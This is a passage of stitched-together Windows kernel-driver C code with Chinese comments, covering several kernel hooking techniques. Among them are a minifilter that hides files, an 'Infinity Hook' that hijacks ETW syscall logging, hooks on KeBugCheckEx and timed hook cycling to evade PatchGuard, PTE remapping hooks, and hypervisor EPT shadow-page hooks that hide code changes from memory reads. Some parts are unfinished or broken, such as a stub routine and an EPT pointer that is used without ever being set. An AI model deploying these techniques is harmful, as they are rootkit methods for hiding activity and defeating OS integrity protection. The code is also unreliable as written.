        DbgPrint("[Hook] Process exited: PID=%lu\n", (ULONG)(ULONG_PTR)ProcessId);
    }
}

void ThreadNotifyCallback(HANDLE ProcessId, HANDLE ThreadId, BOOLEAN Create) {
    if (Create) {
        // 可以在这里记录线程创建,或阻止远程线程注入
        PEPROCESS targetProcess;
        PsLookupProcessByProcessId(ProcessId, &targetProcess);
        if (targetProcess == g_protectedProcess && PsGetCurrentProcess() != targetProcess) {
            // 外部进程在我们保护的进程中创建线程 — 可能是注入
            DbgPrint("[Hook] Remote thread injection detected!\n");
        }
        if (targetProcess) ObDereferenceObject(targetProcess);
    }
}

void ImageLoadCallback(PUNICODE_STRING FullImageName, HANDLE ProcessId, 
    PIMAGE_INFO ImageInfo) {
    // DLL 加载通知
    if (FullImageName && ProcessId == g_targetPid) {
        DbgPrint("[Hook] Image loaded in target: %wZ @ %p\n", 
            FullImageName, ImageInfo->ImageBase);
    }
}

// ========== ObRegisterCallbacks(句柄操作拦截)==========

OB_PREOP_CALLBACK_STATUS ProcessHandlePreCallback(
    PVOID RegistrationContext, POB_PRE_OPERATION_INFORMATION OpInfo) {
    
    PEPROCESS targetProcess = (PEPROCESS)OpInfo->Object;
    HANDLE targetPid = PsGetProcessId(targetProcess);
    
    // 保护指定进程:剥离危险权限
    if (targetPid == g_protectedPid && PsGetCurrentProcess() != targetProcess) {
        if (OpInfo->Operation == OB_OPERATION_HANDLE_CREATE) {
            // 剥离读写内存、终止进程的权限
            OpInfo->Parameters->CreateHandleInformation.DesiredAccess &= 
                ~(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | 
                  PROCESS_TERMINATE | PROCESS_SUSPEND_RESUME);
        }
        if (OpInfo->Operation == OB_OPERATION_HANDLE_DUPLICATE) {
            OpInfo->Parameters->DuplicateHandleInformation.DesiredAccess &=
                ~(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_TERMINATE);
        }
    }
    return OB_PREOP_SUCCESS;
}

NTSTATUS RegisterObCallbacks(PVOID* pHandle) {
    OB_CALLBACK_REGISTRATION obReg = {0};
    OB_OPERATION_REGISTRATION opReg[2] = {0};
    
    opReg[0].ObjectType = PsProcessType;
    opReg[0].Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE;
    opReg[0].PreOperation = ProcessHandlePreCallback;
    
    opReg[1].ObjectType = PsThreadType;
    opReg[1].Operations = OB_OPERATION_HANDLE_CREATE;
    opReg[1].PreOperation = ProcessHandlePreCallback;
    
    obReg.Version = OB_FLT_REGISTRATION_VERSION;
    obReg.OperationRegistrationCount = 2;
    obReg.OperationRegistration = opReg;
    
    // Altitude 决定回调优先级(需要唯一值)
    RtlInitUnicodeString(&obReg.Altitude, L"321000");
    
    return ObRegisterCallbacks(&obReg, pHandle);
}

// ========== Minifilter(文件系统回调)==========

FLT_PREOP_CALLBACK_STATUS PreCreateCallback(
    PFLT_CALLBACK_DATA Data, PCFLT_RELATED_OBJECTS FltObjects, 
    PVOID* CompletionContext) {
    
    PFLT_FILE_NAME_INFORMATION nameInfo;
    if (NT_SUCCESS(FltGetFileNameInformation(Data, 
        FLT_FILE_NAME_NORMALIZED | FLT_FILE_NAME_QUERY_DEFAULT, &nameInfo))) {
        
        FltParseFileNameInformation(nameInfo);
        
        // 隐藏特定文件
        if (wcsstr(nameInfo->Name.Buffer, L"hidden_file.dat")) {
            FltReleaseFileNameInformation(nameInfo);
            Data->IoStatus.Status = STATUS_OBJECT_NAME_NOT_FOUND;
            return FLT_PREOP_COMPLETE;
        }
        FltReleaseFileNameInformation(nameInfo);
    }
    return FLT_PREOP_SUCCESS_NO_CALLBACK;
}

// ========== 注册表回调 ==========

NTSTATUS RegistryCallback(PVOID CallbackContext, PVOID Argument1, PVOID Argument2) {
    REG_NOTIFY_CLASS notifyClass = (REG_NOTIFY_CLASS)(ULONG_PTR)Argument1;
    
    switch (notifyClass) {
        case RegNtPreSetValueKey: {
            PREG_SET_VALUE_KEY_INFORMATION info = (PREG_SET_VALUE_KEY_INFORMATION)Argument2;
            // 阻止修改受保护的注册表值
            if (info->ValueName && wcsstr(info->ValueName->Buffer, L"ProtectedValue")) {
                return STATUS_ACCESS_DENIED;
            }
            break;
        }
        case RegNtPreDeleteKey: {
            // 阻止删除受保护的注册表键
            break;
        }
    }
    return STATUS_SUCCESS;
}

// ========== 安装所有回调 ==========

NTSTATUS InstallAllCallbacks() {
    NTSTATUS status;
    
    status = PsSetCreateProcessNotifyRoutineEx(ProcessNotifyCallback, FALSE);
    if (!NT_SUCCESS(status)) return status;
    
    status = PsSetCreateThreadNotifyRoutine(ThreadNotifyCallback);
    if (!NT_SUCCESS(status)) return status;
    
    status = PsSetLoadImageNotifyRoutine(ImageLoadCallback);
    if (!NT_SUCCESS(status)) return status;
    
    status = RegisterObCallbacks(&g_obHandle);
    if (!NT_SUCCESS(status)) return status;
    
    LARGE_INTEGER cookie;
    status = CmRegisterCallbackEx(RegistryCallback, &g_altitude, g_driverObject, NULL, &cookie, NULL);
    
    return status;
}
#include <ntddk.h>

// Infinity Hook 的核心:定位 ETW syscall logger 的函数指针
// 路径:KiSystemCall64 → PerfInfoLogSysCallEntry → [函数指针]
// 这个指针存储在 HalPrivateDispatchTable 或 EtwpDebuggerData 中(版本相关)

typedef void (*fnEtwpCallback)(ULONG SystemCallNumber, PVOID StackPointer);
fnEtwpCallback g_originalEtwCallback = NULL;

// 特征码搜索:在 KiSystemCall64 中寻找 call [PerfInfoLogSysCallEntry]
// PerfInfoLogSysCallEntry 内部会 call 一个存在全局变量中的函数指针
PVOID* FindEtwSyscallLogPointer() {
    // 方法 1:从 KiSystemCall64 搜索 PerfInfoLogSysCallEntry 调用
    ULONG64 kiSystemCall = __readmsr(0xC0000082);
    BYTE* p = (BYTE*)kiSystemCall;
    
    // 搜索 call PerfInfoLogSysCallEntry 的特征
    // Windows 10 1903+: E8 XX XX XX XX (call rel32)
    for (ULONG i = 0; i < 0x600; i++) {
        if (p[i] == 0xE8) {
            INT32 offset = *(INT32*)(p + i + 1);
            BYTE* target = p + i + 5 + offset;
            
            // 验证目标是否为 PerfInfoLogSysCallEntry
            // 通过进一步搜索其内部的间接调用来确认
            for (ULONG j = 0; j < 0x50; j++) {
                // 寻找 call qword ptr [rip + offset] (FF 15 XX XX XX XX)
                if (target[j] == 0xFF && target[j+1] == 0x15) {
                    INT32 ripOffset = *(INT32*)(target + j + 2);
                    PVOID* pFuncPtr = (PVOID*)(target + j + 6 + ripOffset);
                    
                    // 验证:该指针应该指向内核空间
                    if (MmIsAddressValid(pFuncPtr) && MmIsAddressValid(*pFuncPtr)) {
                        return pFuncPtr;
                    }
                }
                
                // 也可能是 mov rax, [地址]; call rax 的模式
                // 48 8B 05 XX XX XX XX (mov rax, [rip+offset])
                if (target[j] == 0x48 && target[j+1] == 0x8B && target[j+2] == 0x05) {
                    INT32 ripOffset = *(INT32*)(target + j + 3);
                    PVOID* pFuncPtr = (PVOID*)(target + j + 7 + ripOffset);
                    
                    if (MmIsAddressValid(pFuncPtr) && MmIsAddressValid(*pFuncPtr)) {
                        // 检查后面几条指令是否有 call rax (FF D0)
                        for (ULONG k = j + 7; k < j + 20; k++) {
                            if (target[k] == 0xFF && target[k+1] == 0xD0) {
                                return pFuncPtr;
                            }
                        }
                    }
                }
            }
        }
    }
    
    // 方法 2:通过 HalPrivateDispatchTable (旧版 Windows)
    // HalPrivateDispatchTable 中的 HalPerfInfoLogSysCallEntry 字段
    // 偏移因版本而异
    
    return NULL;
}

// Hook 回调函数
void InfinityHookCallback(ULONG SystemCallNumber, PVOID StackPointer) {
    // 获取当前线程的系统调用信息
    PETHREAD currentThread = PsGetCurrentThread();
    
    // 根据 SSN 过滤
    switch (SystemCallNumber) {
        case 0x26: // NtOpenProcess (SSN 因版本而异)
        {
            // 可以读取/修改栈上的参数
            // StackPointer 指向 syscall 时的用户态栈
            // 参数通过寄存器传递(R10, RDX, R8, R9)
            break;
        }
        case 0x3A: // NtReadVirtualMemory
        {
            // 拦截读内存操作
            break;
        }
    }
    
    // 调用原始 ETW 函数(或者直接不调用,提升性能)
    if (g_originalEtwCallback) {
        g_originalEtwCallback(SystemCallNumber, StackPointer);
    }
}

// 安装 Infinity Hook
NTSTATUS InstallInfinityHook() {
    PVOID* pTarget = FindEtwSyscallLogPointer();
    if (!pTarget) return STATUS_NOT_FOUND;
    
    g_originalEtwCallback = (fnEtwpCallback)*pTarget;
    
    // 原子替换函数指针
    InterlockedExchangePointer(pTarget, (PVOID)InfinityHookCallback);
    
    return STATUS_SUCCESS;
}

NTSTATUS RemoveInfinityHook() {
    PVOID* pTarget = FindEtwSyscallLogPointer();
    if (!pTarget || !g_originalEtwCallback) return STATUS_UNSUCCESSFUL;
    
    InterlockedExchangePointer(pTarget, (PVOID)g_originalEtwCallback);
    g_originalEtwCallback = NULL;
    
    return STATUS_SUCCESS;
}
#include <ntddk.h>

// ===== 方案 1: Hook KeBugCheckEx 阻止蓝屏 =====

typedef VOID(*fnKeBugCheckEx)(ULONG, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR);
fnKeBugCheckEx OriginalKeBugCheckEx = NULL;

VOID HookedKeBugCheckEx(ULONG BugCheckCode, ULONG_PTR P1, ULONG_PTR P2, ULONG_PTR P3, ULONG_PTR P4) {
    if (BugCheckCode == 0x109) { // CRITICAL_STRUCTURE_CORRUPTION
        // PatchGuard 检测到异常,阻止蓝屏
        // 恢复被修改的数据,让 PatchGuard 下次检查时通过
        RestoreAllHooks();
        
        // 不调用原始 KeBugCheckEx,直接返回
        // 注意:这不一定安全,PG 可能在蓝屏前已经做了不可逆操作
        return;
    }
    OriginalKeBugCheckEx(BugCheckCode, P1, P2, P3, P4);
}

// ===== 方案 2: 定位并取消 PatchGuard DPC 定时器 =====

// PatchGuard 使用加密的 DPC 定时器,特征:
// - DPC routine 地址指向 ntoskrnl 内部
// - 定时器的 DueTime 通常在 5-10 分钟范围
// - DPC 的 DeferredContext 包含加密的校验数据

NTSTATUS DisablePatchGuardTimers() {
    // 遍历系统 DPC 定时器队列
    // 需要逆向 KiTimerTableListHead 结构
    // 这是极其复杂的操作,需要版本特定的偏移
    
    // 简化版思路:
    // 1. 定位 KiTimerTableListHead (通过签名扫描)
    // 2. 遍历所有 KTIMER 条目
    // 3. 识别 PatchGuard 的定时器(通过 DPC routine 范围、加密特征)
    // 4. KeCancelTimer 取消这些定时器
    
    return STATUS_NOT_IMPLEMENTED; // 实际实现极其版本相关
}

// ===== 方案 3: 利用 PatchGuard 的时间窗口 =====

// PG 检查间隔约 5-10 分钟(随机化)
// 策略:在检查之前恢复,检查之后再安装
typedef struct _PG_AWARE_HOOK {
    PVOID target;
    PVOID detour;
    BYTE originalBytes[14];
    BOOLEAN isInstalled;
    KTIMER cycleTimer;
    KDPC cycleDpc;
} PG_AWARE_HOOK;

// 周期性安装/卸载 Hook(在 PG 检查时间窗口内)
VOID PgCycleDpcRoutine(PKDPC Dpc, PVOID Context, PVOID Arg1, PVOID Arg2) {
    PG_AWARE_HOOK* hook = (PG_AWARE_HOOK*)Context;
    
    if (hook->isInstalled) {
        // 卸载 Hook(PG 可能即将检查)
        RestoreInlineHook(hook);
        hook->isInstalled = FALSE;
        
        // 500ms 后重新安装
        LARGE_INTEGER interval;
        interval.QuadPart = -5000000; // 500ms
        KeSetTimer(&hook->cycleTimer, interval, &hook->cycleDpc);
    } else {
        // 安装 Hook
        InstallInlineHook(hook);
        hook->isInstalled = TRUE;
        
        // 4 分钟后卸载(在 PG 5 分钟周期之前)
        LARGE_INTEGER interval;
        interval.QuadPart = -2400000000LL; // 240 seconds
        KeSetTimer(&hook->cycleTimer, interval, &hook->cycleDpc);
    }
}
#include <ntddk.h>
#include <fwpsk.h>
#include <fwpmk.h>

HANDLE g_engineHandle = NULL;
UINT32 g_calloutId = 0;
UINT64 g_filterId = 0;

// WFP Callout GUID(需要唯一)
DEFINE_GUID(WFP_CALLOUT_GUID, 
    0x12345678, 0xABCD, 0xEF01, 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF, 0x01);

// 数据包分类回调(核心逻辑在这里)
void NTAPI ClassifyCallback(
    const FWPS_INCOMING_VALUES0* inFixedValues,
    const FWPS_INCOMING_METADATA_VALUES0* inMetaValues,
    void* layerData,
    const FWPS_FILTER0* filter,
    UINT64 flowContext,
    FWPS_CLASSIFY_OUT0* classifyOut)
{
    // 获取远程 IP 和端口
    UINT32 remoteIp = inFixedValues->incomingValue[
        FWPS_FIELD_OUTBOUND_TRANSPORT_V4_IP_REMOTE_ADDRESS].value.uint32;
    UINT16 remotePort = inFixedValues->incomingValue[
        FWPS_FIELD_OUTBOUND_TRANSPORT_V4_IP_REMOTE_PORT].value.uint16;
    UINT8 protocol = inFixedValues->incomingValue[
        FWPS_FIELD_OUTBOUND_TRANSPORT_V4_IP_PROTOCOL].value.uint8;
    
    // 获取发起进程
    UINT64 processId = 0;
    if (FWPS_IS_METADATA_FIELD_PRESENT(inMetaValues, FWPS_METADATA_FIELD_PROCESS_ID)) {
        processId = inMetaValues->processId;
    }
    
    // 过滤逻辑
    if (ShouldBlockConnection(remoteIp, remotePort, processId)) {
        classifyOut->actionType = FWP_ACTION_BLOCK;
        classifyOut->rights &= ~FWPS_RIGHT_ACTION_WRITE;
    } else {
        classifyOut->actionType = FWP_ACTION_PERMIT;
    }
}

// 通知回调
NTSTATUS NTAPI NotifyCallback(FWPS_CALLOUT_NOTIFY_TYPE notifyType,
    const GUID* filterKey, FWPS_FILTER0* filter) {
    return STATUS_SUCCESS;
}

// 注册 WFP Callout + Filter
NTSTATUS InstallWfpHook(PDEVICE_OBJECT deviceObject) {
    NTSTATUS status;
    FWPM_SESSION0 session = {0};
    session.flags = FWPM_SESSION_FLAG_DYNAMIC; // 驱动卸载时自动清理
    
    // 打开 WFP 引擎
    status = FwpmEngineOpen0(NULL, RPC_C_AUTHN_WINNT, NULL, &session, &g_engineHandle);
    if (!NT_SUCCESS(status)) return status;
    
    // 注册 Callout(内核层)
    FWPS_CALLOUT0 sCallout = {0};
    sCallout.calloutKey = WFP_CALLOUT_GUID;
    sCallout.classifyFn = ClassifyCallback;
    sCallout.notifyFn = NotifyCallback;
    
    status = FwpsCalloutRegister0(deviceObject, &sCallout, &g_calloutId);
    if (!NT_SUCCESS(status)) goto cleanup;
    
    // 注册 Callout(管理层)
    FWPM_CALLOUT0 mCallout = {0};
    mCallout.calloutKey = WFP_CALLOUT_GUID;
    mCallout.displayData.name = L"My Network Hook";
    mCallout.applicableLayer = FWPM_LAYER_OUTBOUND_TRANSPORT_V4;
    
    status = FwpmCalloutAdd0(g_engineHandle, &mCallout, NULL, NULL);
    if (!NT_SUCCESS(status)) goto cleanup;
    
    // 添加 Filter
    FWPM_FILTER0 filter = {0};
    filter.layerKey = FWPM_LAYER_OUTBOUND_TRANSPORT_V4;
    filter.displayData.name = L"My Network Filter";
    filter.action.type = FWP_ACTION_CALLOUT_TERMINATING;
    filter.action.calloutKey = WFP_CALLOUT_GUID;
    filter.weight.type = FWP_UINT8;
    filter.weight.uint8 = 0xF; // 高优先级
    
    status = FwpmFilterAdd0(g_engineHandle, &filter, NULL, &g_filterId);
    
cleanup:
    if (!NT_SUCCESS(status)) {
        if (g_engineHandle) FwpmEngineClose0(g_engineHandle);
    }
    return status;
}
#include <ntddk.h>

// PTE Base 地址(Windows 10 RS1+ 每次启动随机化)
ULONG64 g_pteBase = 0;
ULONG64 g_pdeBase = 0;

// 动态定位 PTE Base(核心难点)
ULONG64 FindPteBase() {
    // 方法 1:通过 MiGetPteAddress 内部引用
    // MiGetPteAddress 是一个内联函数,但某些导出函数内部会使用它
    // 可以从 MmGetVirtualForPhysical 等函数中搜索特征
    
    // 方法 2:暴力搜索 — 利用自引用页表原理
    // PTE base 的 PTE 条目指向自己的物理页
    // 遍历可能的 PTE base 值,验证自引用
    
    // 方法 3:通过 nt!MmPteBase 全局变量
    // 在 ntoskrnl 的 .data 段中搜索
    
    // 实现方法 1:从导出函数签名定位
    UNICODE_STRING funcName;
    RtlInitUnicodeString(&funcName, L"MmGetVirtualForPhysical");
    BYTE* pFunc = (BYTE*)MmGetSystemRoutineAddress(&funcName);
    
    if (pFunc) {
        // 搜索 mov rax, [MmPteBase] 模式
        // 48 8B 05 XX XX XX XX (mov rax, [rip+offset])
        for (ULONG i = 0; i < 0x100; i++) {
            if (pFunc[i] == 0x48 && pFunc[i+1] == 0x8B && pFunc[i+2] == 0x05) {
                INT32 offset = *(INT32*)(pFunc + i + 3);
                ULONG64* pPteBase = (ULONG64*)(pFunc + i + 7 + offset);
                if (MmIsAddressValid(pPteBase)) {
                    return *pPteBase;
                }
            }
        }
    }
    
    // 方法 2:暴力方式
    // Windows 10 PTE base 范围:0xFFFF800000000000 - 0xFFFFF00000000000
    // 步进 0x8000000000 (512GB for each PML4 entry)
    for (ULONG64 base = 0xFFFF800000000000ULL; base < 0xFFFFF00000000000ULL; base += 0x8000000000ULL) {
        // 验证:PTE of PTE base 应该是有效的且 Present
        __try {
            ULONG64 pteOfBase = base + ((base >> 9) & 0x7FFFFFFFF8ULL);
            if (MmIsAddressValid((PVOID)pteOfBase)) {
                // 进一步验证自引用
                ULONG64 value = *(ULONG64*)pteOfBase;
                if (value & 1) { // Present bit
                    g_pteBase = base;
                    return base;
                }
            }
        } __except(EXCEPTION_EXECUTE_HANDLER) {
            continue;
        }
    }
    
    return 0;
}

// 虚拟地址 → PTE 地址
PULONG64 GetPteAddress(PVOID virtualAddress) {
    if (!g_pteBase) g_pteBase = FindPteBase();
    ULONG64 va = (ULONG64)virtualAddress;
    return (PULONG64)(g_pteBase + ((va >> 9) & 0x7FFFFFFFF8ULL));
}

// 虚拟地址 → PDE 地址  
PULONG64 GetPdeAddress(PVOID virtualAddress) {
    PULONG64 pte = GetPteAddress(virtualAddress);
    return GetPteAddress(pte);
}

// PTE Hook 实现
typedef struct _PTE_HOOK {
    PVOID targetVa;              // 目标虚拟地址
    PHYSICAL_ADDRESS origPhys;   // 原始物理页
    PHYSICAL_ADDRESS hookPhys;   // Hook 物理页
    ULONG64 origPte;             // 原始 PTE 值
    PVOID hookPage;              // Hook 页内容
} PTE_HOOK;

NTSTATUS InstallPteHook(PTE_HOOK* hook, PVOID targetVa, PVOID hookCode, ULONG hookSize) {
    hook->targetVa = (PVOID)((ULONG_PTR)targetVa & ~0xFFF); // 页对齐
    
    // 获取原始物理地址
    hook->origPhys = MmGetPhysicalAddress(hook->targetVa);
    
    // 分配 Hook 页(NonPaged,确保物理连续)
    hook->hookPage = MmAllocateNonCachedMemory(PAGE_SIZE);
    if (!hook->hookPage) return STATUS_INSUFFICIENT_RESOURCES;
    
    // 复制原始页内容到 Hook 页
    RtlCopyMemory(hook->hookPage, hook->targetVa, PAGE_SIZE);
    
    // 在 Hook 页的目标偏移写入我们的代码
    ULONG offset = (ULONG)((ULONG_PTR)targetVa & 0xFFF);
    RtlCopyMemory((BYTE*)hook->hookPage + offset, hookCode, hookSize);
    
    // 获取 Hook 页的物理地址
    hook->hookPhys = MmGetPhysicalAddress(hook->hookPage);
    
    // 修改 PTE:将 PFN 指向 Hook 页
    PULONG64 pte = GetPteAddress(hook->targetVa);
    hook->origPte = *pte;
    
    // 构建新 PTE:保留原有属性,只改 PFN
    ULONG64 newPte = hook->origPte;
    newPte &= 0xFFF0000000000FFFULL; // 清除 PFN 位
    newPte |= (hook->hookPhys.QuadPart & 0x000FFFFFFFFFF000ULL); // 设置新 PFN
    
    // 原子写入 PTE
    _disable();
    InterlockedExchange64((LONG64*)pte, newPte);
    // 刷新 TLB
    __invlpg(hook->targetVa);
    _enable();
    
    return STATUS_SUCCESS;
}

NTSTATUS RemovePteHook(PTE_HOOK* hook) {
    PULONG64 pte = GetPteAddress(hook->targetVa);
    
    _disable();
    InterlockedExchange64((LONG64*)pte, hook->origPte);
    __invlpg(hook->targetVa);
    _enable();
    
    if (hook->hookPage) {
        MmFreeNonCachedMemory(hook->hookPage, PAGE_SIZE);
        hook->hookPage = NULL;
    }
    return STATUS_SUCCESS;
}
typedef union _EPT_PTE {
    ULONG64 Value;
    struct {
        ULONG64 ReadAccess : 1;
        ULONG64 WriteAccess : 1;
        ULONG64 ExecuteAccess : 1;
        ULONG64 MemoryType : 3;        // 0=UC, 6=WB
        ULONG64 IgnorePat : 1;
        ULONG64 LargePage : 1;         // 2MB/1GB 大页
        ULONG64 Accessed : 1;
        ULONG64 Dirty : 1;
        ULONG64 UserModeExecute : 1;   // MBEC
        ULONG64 Reserved1 : 1;
        ULONG64 PhysicalAddress : 40;  // 物理页帧号
        ULONG64 Reserved2 : 11;
        ULONG64 SuppressVE : 1;        // #VE 抑制
    };
} EPT_PTE, *PEPT_PTE;

typedef union _EPTP {
    ULONG64 Value;
    struct {
        ULONG64 MemoryType : 3;        // EPT 页表自身的内存类型
        ULONG64 PageWalkLength : 3;    // 页表遍历深度-1 (3 = 4级)
        ULONG64 DirtyAndAccessEnabled : 1;
        ULONG64 Reserved1 : 5;
        ULONG64 PML4PhysicalAddress : 40;
        ULONG64 Reserved2 : 12;
    };
} EPTP;
#include <ntddk.h>
#include <intrin.h>

// ===== EPT 页表构建 =====

typedef struct _EPT_STATE {
    DECLSPEC_ALIGN(PAGE_SIZE) EPT_PTE PML4[512];
    DECLSPEC_ALIGN(PAGE_SIZE) EPT_PTE PDPT[512];
    DECLSPEC_ALIGN(PAGE_SIZE) EPT_PTE PD[512][512];   // 512 个 PD,每个 512 条目
    // 对于 2MB 大页映射,不需要 PT 层
    // 对于需要精确控制的页,单独分配 PT
    EPTP Eptp;
} EPT_STATE;

// 构建恒等映射 EPT(GPA == HPA,2MB 大页)
NTSTATUS BuildIdentityEpt(EPT_STATE* ept) {
    RtlZeroMemory(ept, sizeof(EPT_STATE));
    
    // PML4[0] -> PDPT
    ept->PML4[0].ReadAccess = 1;
    ept->PML4[0].WriteAccess = 1;
    ept->PML4[0].ExecuteAccess = 1;
    ept->PML4[0].PhysicalAddress = MmGetPhysicalAddress(ept->PDPT).QuadPart >> 12;
    
    // PDPT -> PD
    for (int i = 0; i < 512; i++) {
        ept->PDPT[i].ReadAccess = 1;
        ept->PDPT[i].WriteAccess = 1;
        ept->PDPT[i].ExecuteAccess = 1;
        ept->PDPT[i].PhysicalAddress = MmGetPhysicalAddress(&ept->PD[i]).QuadPart >> 12;
    }
    
    // PD -> 2MB 大页直接映射(覆盖 0 - 512GB 物理内存)
    for (int i = 0; i < 512; i++) {
        for (int j = 0; j < 512; j++) {
            ULONG64 physAddr = ((ULONG64)i * 512 + j) * 0x200000; // 2MB per entry
            ept->PD[i][j].ReadAccess = 1;
            ept->PD[i][j].WriteAccess = 1;
            ept->PD[i][j].ExecuteAccess = 1;
            ept->PD[i][j].LargePage = 1;
            ept->PD[i][j].MemoryType = 6; // WB
            ept->PD[i][j].PhysicalAddress = physAddr >> 12;
        }
    }
    
    // 配置 EPTP
    ept->Eptp.MemoryType = 6; // WB
    ept->Eptp.PageWalkLength = 3; // 4-level
    ept->Eptp.PML4PhysicalAddress = MmGetPhysicalAddress(ept->PML4).QuadPart >> 12;
    
    return STATUS_SUCCESS;
}

// ===== 将 2MB 大页拆分为 4KB 页(精确控制单个页的权限)=====

typedef struct _EPT_SPLIT_PAGE {
    DECLSPEC_ALIGN(PAGE_SIZE) EPT_PTE PT[512];  // 512 个 4KB PTE
} EPT_SPLIT_PAGE;

NTSTATUS SplitLargePage(EPT_STATE* ept, ULONG64 targetPhysAddr) {
    // 确定目标在哪个 PD entry
    ULONG pdptIndex = (targetPhysAddr >> 30) & 0x1FF;
    ULONG pdIndex = (targetPhysAddr >> 21) & 0x1FF;
    
    EPT_PTE* pdEntry = &ept->PD[pdptIndex][pdIndex];
    if (!pdEntry->LargePage) return STATUS_SUCCESS; // 已经拆分过
    
    // 分配 PT 页
    EPT_SPLIT_PAGE* splitPage = ExAllocatePoolWithTag(NonPagedPool, sizeof(EPT_SPLIT_PAGE), 'tpES');
    if (!splitPage) return STATUS_INSUFFICIENT_RESOURCES;
    
    // 用 512 个 4KB 条目填充,恒等映射
    ULONG64 basePhys = (pdEntry->PhysicalAddress << 12) & ~0x1FFFFFULL; // 2MB 对齐
    for (int i = 0; i < 512; i++) {
        splitPage->PT[i].ReadAccess = 1;
        splitPage->PT[i].WriteAccess = 1;
        splitPage->PT[i].ExecuteAccess = 1;
        splitPage->PT[i].MemoryType = 6;
        splitPage->PT[i].PhysicalAddress = (basePhys + i * PAGE_SIZE) >> 12;
    }
    
    // 将 PD entry 从大页改为指向 PT
    pdEntry->Value = 0;
    pdEntry->ReadAccess = 1;
    pdEntry->WriteAccess = 1;
    pdEntry->ExecuteAccess = 1;
    pdEntry->PhysicalAddress = MmGetPhysicalAddress(splitPage->PT).QuadPart >> 12;
    // LargePage = 0(默认,表示指向下一级 PT)
    
    // 刷新 EPT TLB
    InveptAllContexts();
    
    return STATUS_SUCCESS;
}

// ===== EPT Hook 安装 =====

typedef struct _EPT_HOOK_ENTRY {
    ULONG64 targetPhysAddr;    // 目标物理地址(页对齐)
    ULONG64 originalHpa;       // 原始 HPA(干净页)
    ULONG64 shadowHpa;         // Shadow HPA(Hook 代码页)
    EPT_PTE* pEptPte;          // 对应的 EPT PTE
    PVOID shadowPage;          // Shadow 页虚拟地址
    ULONG functionOffset;      // 函数在页内的偏移
    LIST_ENTRY listEntry;
} EPT_HOOK_ENTRY;

LIST_ENTRY g_hookList;

NTSTATUS InstallEptHook(EPT_STATE* ept, PVOID targetFunction, PVOID hookFunction) {
    // 获取目标函数的物理地址
    PHYSICAL_ADDRESS targetPhys = MmGetPhysicalAddress(targetFunction);
    ULONG64 targetPhysPage = targetPhys.QuadPart & ~0xFFF;
    
    // 拆分大页
    SplitLargePage(ept, targetPhysPage);
    
    // 分配 Shadow Page
    PVOID shadowPage = ExAllocatePoolWithTag(NonPagedPool, PAGE_SIZE, 'wdhS');
    if (!shadowPage) return STATUS_INSUFFICIENT_RESOURCES;
    
    // 复制原始页内容
    PVOID mappedOriginal = MmMapIoSpace(targetPhys, PAGE_SIZE, MmNonCached);
    RtlCopyMemory(shadowPage, mappedOriginal, PAGE_SIZE);
    MmUnmapIoSpace(mappedOriginal, PAGE_SIZE);
    
    // 在 Shadow Page 中目标偏移处写入跳转
    ULONG offset = targetPhys.LowPart & 0xFFF;
    BYTE* hookPoint = (BYTE*)shadowPage + offset;
    
    // 写入 14 字节绝对跳转
    hookPoint[0] = 0xFF;
    hookPoint[1] = 0x25;
    *(UINT32*)(hookPoint + 2) = 0;
    *(UINT64*)(hookPoint + 6) = (UINT64)hookFunction;
    
    // 配置 EPT:初始状态 = Read+Write, 禁止 Execute
    ULONG ptIndex = (targetPhysPage >> 12) & 0x1FF;
    ULONG pdIndex = (targetPhysPage >> 21) & 0x1FF;
    ULONG pdptIndex = (targetPhysPage >> 30) & 0x1FF;
    
    // 定位 PT(需要从拆分后的 PD entry 找到 PT)
    // ... 这里需要根据你的 EPT 结构定位到正确的 PTE
    
    // 保存 Hook 信息
    EPT_HOOK_ENTRY* entry = ExAllocatePoolWithTag(NonPagedPool, sizeof(EPT_HOOK_ENTRY), 'kooH');
    entry->targetPhysAddr = targetPhysPage;
    entry->originalHpa = targetPhysPage;
    entry->shadowHpa = MmGetPhysicalAddress(shadowPage).QuadPart;
    entry->shadowPage = shadowPage;
    entry->functionOffset = offset;
    InsertTailList(&g_hookList, &entry->listEntry);
    
    // 设置 EPT PTE:RW=干净页, X=禁止(触发 Execute 时切换到 shadow)
    entry->pEptPte->ReadAccess = 1;
    entry->pEptPte->WriteAccess = 1;
    entry->pEptPte->ExecuteAccess = 0;  // 执行时触发 EPT Violation
    entry->pEptPte->PhysicalAddress = entry->originalHpa >> 12;
    
    InveptAllContexts();
    return STATUS_SUCCESS;
}

// ===== VM-Exit Handler: EPT Violation 处理 =====

void HandleEptViolation(PVMX_VCPU vcpu) {
    ULONG64 guestPhysAddr = __vmx_vmread(VMCS_GUEST_PHYSICAL_ADDRESS);
    ULONG64 qualification = __vmx_vmread(VMCS_EXIT_QUALIFICATION);
    
    BOOLEAN isExecute = (qualification >> 2) & 1;
    BOOLEAN isRead = qualification & 1;
    BOOLEAN isWrite = (qualification >> 1) & 1;
    
    // 查找对应的 Hook
    EPT_HOOK_ENTRY* hook = FindHookByPhysAddr(guestPhysAddr & ~0xFFF);
    if (!hook) {
        // 不是我们的 Hook,注入异常
        InjectException(vcpu, EXCEPTION_GENERAL_PROTECTION);
        return;
    }
    
    if (isExecute) {
        // CPU 要执行这个页 → 切换到 Shadow Page(含 Hook 跳转)
        hook->pEptPte->ReadAccess = 0;
        hook->pEptPte->WriteAccess = 0;
        hook->pEptPte->ExecuteAccess = 1;
        hook->pEptPte->PhysicalAddress = hook->shadowHpa >> 12;
    } else {
        // CPU 要读/写这个页 → 切换到 Original Page(干净代码)
        hook->pEptPte->ReadAccess = 1;
        hook->pEptPte->WriteAccess = 1;
        hook->pEptPte->ExecuteAccess = 0;
        hook->pEptPte->PhysicalAddress = hook->originalHpa >> 12;
    }
    
    InveptSingleContext(vcpu->eptp);
    
    // 设置 Monitor Trap Flag:执行一条指令后恢复初始状态
    ULONG64 procCtls = __vmx_vmread(VMCS_PROC_BASED_CONTROLS);
    __vmx_vmwrite(VMCS_PROC_BASED_CONTROLS, procCtls | VMX_PROC_CTL_MONITOR_TRAP_FLAG);
}

// MTF 处理:单条指令执行完毕后恢复
void HandleMonitorTrapFlag(PVMX_VCPU vcpu) {
    // 恢复所有 Hook 页为初始状态(RW=原始, X=禁止)
    PLIST_ENTRY entry = g_hookList.Flink;
